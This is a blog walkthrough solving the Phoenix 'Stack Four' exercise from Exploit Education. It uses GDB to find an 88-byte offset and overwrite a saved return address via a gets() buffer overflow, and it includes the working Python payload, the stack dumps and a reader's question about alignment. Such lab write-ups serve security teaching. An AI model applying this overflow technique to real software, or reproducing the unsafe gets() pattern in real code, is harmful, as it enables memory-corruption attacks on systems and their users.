Exploit Education | Phoenix | Stack Four Solution

Stack Four

The description and source code can be found here:
https://exploit.education/phoenix/stack-four/

For this program, we’ll need to overwrite the return address saved on the stack from calling the start_level() function to redirect the flow of execution to the complete_level() function:

void complete_level() {
    printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
    exit(0);
}

void start_level() {
    char buffer[64];
    void *ret;

    gets(buffer);

    ret = __builtin_return_address(0);
    printf("and will be returning to %p\n", ret);
}

int main(int argc, char **argv) {
    printf("%s\n", BANNER);
    start_level();
}

Let’s fire up stack-four in GDB to figure out, exactly, where in the stack the return address is:

user@phoenix-amd64:/opt/phoenix/amd64$ gdb -q stack-four 
GEF for linux ready, type `gef' to start, `gef config' to configure
71 commands loaded for GDB 8.2.1 using Python engine 3.5
[*] 2 commands could not be loaded, run `gef missing` to know why.
Reading symbols from stack-four...(no debugging symbols found)...done.
Python Exception <class 'UnicodeEncodeError'> 'ascii' codec can't encode character '\u27a4' in position 12: ordinal not in range(128): 
(gdb)

SIDE NOTE: You may notice a few things after starting GDB here. First, this isn’t your typical “stock” GDB. It comes with GEF (GDB Enhanced Features) pre-installed to help make our lives easier (though I won’t be needing its features for this level). Second, there’s an error on the line right before the command prompt that shows itself every time you enter a command. And if you’re familiar with GEF, you may have noticed that the prompt should show gef> instead of (gdb). This can be easily fixed. Quit GDB and run the following command to prevent GEF from using a Unicode character in its prompt:

sudo sed -i 's/\\u27a4 />/g' /etc/gdb/gef.py

Ok, let’s get back to it. First, I’ll disassemble the main() function to see which address will be stored on the stack after the start_level() function returns. I’ll also disassemble the start_level() function because I’d like to place a break point right after the gets() function is called. That way we can see the user input being stored on the stack.

user@phoenix-amd64:/opt/phoenix/amd64$ gdb -q stack-four 
GEF for linux ready, type `gef' to start, `gef config' to configure
71 commands loaded for GDB 8.2.1 using Python engine 3.5
[*] 2 commands could not be loaded, run `gef missing` to know why.
Reading symbols from stack-four...(no debugging symbols found)...done.
gef> disas main
Dump of assembler code for function main:
   0x000000000040066a <+0>:     push   rbp
   0x000000000040066b <+1>:     mov    rbp,rsp
   0x000000000040066e <+4>:     sub    rsp,0x10
   0x0000000000400672 <+8>:     mov    DWORD PTR [rbp-0x4],edi
   0x0000000000400675 <+11>:    mov    QWORD PTR [rbp-0x10],rsi
   0x0000000000400679 <+15>:    mov    edi,0x400750
   0x000000000040067e <+20>:    call   0x400480 <puts@plt>
   0x0000000000400683 <+25>:    mov    eax,0x0
   0x0000000000400688 <+30>:    call   0x400635 <start_level>
   0x000000000040068d <+35>:    mov    eax,0x0
   0x0000000000400692 <+40>:    leave
   0x0000000000400693 <+41>:    ret
End of assembler dump.

gef> disas start_level
Dump of assembler code for function start_level:
   0x0000000000400635 <+0>:     push   rbp
   0x0000000000400636 <+1>:     mov    rbp,rsp
   0x0000000000400639 <+4>:     sub    rsp,0x50
   0x000000000040063d <+8>:     lea    rax,[rbp-0x50]
   0x0000000000400641 <+12>:    mov    rdi,rax
   0x0000000000400644 <+15>:    call   0x400470 <gets@plt>
   0x0000000000400649 <+20>:    mov    rax,QWORD PTR [rbp+0x8]
   0x000000000040064d <+24>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400651 <+28>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400655 <+32>:    mov    rsi,rax
   0x0000000000400658 <+35>:    mov    edi,0x400733
   0x000000000040065d <+40>:    mov    eax,0x0
   0x0000000000400662 <+45>:    call   0x400460 <printf@plt>
   0x0000000000400667 <+50>:    nop
   0x0000000000400668 <+51>:    leave
   0x0000000000400669 <+52>:    ret
End of assembler dump.

gef> b *0x0000000000400649
Breakpoint 1 at 0x400649

The disassembly of the main() function shows that after the start_level() function returns, it will execution at the address 0x0040068d. That’s what I’ll be looking for on the stack. And as you can see, I placed a break point at 0x400649. Next, I’ll run the program and fill the “buffer” variable with 64 characters. I use an A at the beginning, B’s in the middle, and a C at the end so it’s easy for me to see where, on the stack, this data starts and stops.

gef> run <<< $(python -c 'print "A" + "B"*62 + "C"')                             
Starting program: /opt/phoenix/amd64/stack-four <<< $(python -c 'print "A" + "B"*62 + "C"')
Welcome to phoenix/stack-four, brought to you by https://exploit.education

Breakpoint 1, 0x0000000000400649 in start_level ()

[... GEF output snipped ...]

After reaching the break point, we can examine the contents of the stack starting at the stack pointer register. I can either manually look for the return address that I had identified earlier (0x0040068d) and calculate the location in my head (which is error-prone), or I can use GDB’s “find” command:

gef> x/24x $sp
0x7fffffffe5f0: 0x42424241      0x42424242      0x42424242      0x42424242
0x7fffffffe600: 0x42424242      0x42424242      0x42424242      0x42424242
0x7fffffffe610: 0x42424242      0x42424242      0x42424242      0x42424242
0x7fffffffe620: 0x42424242      0x42424242      0x42424242      0x43424242
0x7fffffffe630: 0xffff0000      0x00007fff      0xffffe660      0x00007fff
0x7fffffffe640: 0xffffe660      0x00007fff      0x0040068d      0x00000000

gef> find 0x7fffffffe5f0, +96, 0x0040068d
0x7fffffffe648
1 pattern found.

Another option is to use GDB’s “info frame” command and see where RIP is at under “Saved registers:”

gef> info frame
Stack level 0, frame at 0x7fffffffe650:
 rip = 0x400649 in start_level; saved rip = 0x40068d
 called by frame at 0x7fffffffe670
 Arglist at 0x7fffffffe640, args:
 Locals at 0x7fffffffe640, Previous frame's sp is 0x7fffffffe650
 Saved registers:
  rbp at 0x7fffffffe640, rip at 0x7fffffffe648

So now we know that the return address we’re looking for (0x0040068d) is at memory location 0x7fffffffe648 and the start of the “buffer” variable is at 0x7fffffffe5f0. Next, we need to calculate how many bytes difference that is. I can use a calculator in programmer mode, or I can let GDB do the math. Once I have that value, I’ll continue the execution and let the program exit:

gef> printf "%i\n", 0x7fffffffe648 - 0x7fffffffe5f0
88

gef> c
Continuing.
and will be returning to 0x40068d
[Inferior 1 (process 331) exited normally]

Next, we need to get the address of the complete_level() function. You can either “disassemble complete_level” in GDB and use the first address shown, or grep the output of objdump:

user@phoenix-amd64:/opt/phoenix/amd64$ objdump -d stack-four | grep complete_level
000000000040061d <complete_level>:

So we need to overwrite the return address on the stack with 0x40061d. Let’s test it in GDB and check out the contents of the stack before continuing execution & verifying it worked (Note: If you quit GDB to use the objdump command, you’ll need to set your break point at 0x400649 again):

gef> run <<< $(python -c 'print "A"*88 + "\x1d\x06\x40"')
Starting program: /opt/phoenix/amd64/stack-four <<< $(python -c 'print "A"*88 + "\x1d\x06\x40"') Welcome to phoenix/stack-four, brought to you by https://exploit.education Breakpoint 1, 0x0000000000400649 in start_level () [... GEF output snipped ...] gef> x/24x $sp
0x7fffffffe5f0: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe600: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe610: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe620: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe630: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe640: 0x41414141      0x41414141      0x0040061d      0x00000000

gef> c
Continuing.
and will be returning to 0x40061d
Congratulations, you've finished phoenix/stack-four :-) Well done!
[Inferior 1 (process 354) exited normally]

Excellent! And just for good measure, we can test it in Bash:

user@phoenix-amd64:/opt/phoenix/amd64$ python -c 'print "A"*88 + "\x1d\x06\x40"' | ./stack-four 
Welcome to phoenix/stack-four, brought to you by https://exploit.education
and will be returning to 0x40061d
Congratulations, you've finished phoenix/stack-four :-) Well done!

2 thoughts on “Exploit Education | Phoenix | Stack Four Solution

  1. Guy says:

    Hey, Thanks for showing the solution 🙂 I have a small question regarding the size of the allocated memory on the stack
    I see that in the following disassembly 0x0000000000400639 : sub rsp,0x50 the stack is allocating 80 bytes. My question is why does it allocate 80 bytes and not 72?
    char buffer[64] + void *ret(8) = 72
    What am I missing? 🙂
    Does it have anything to do with stack alignment?

    Reply

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.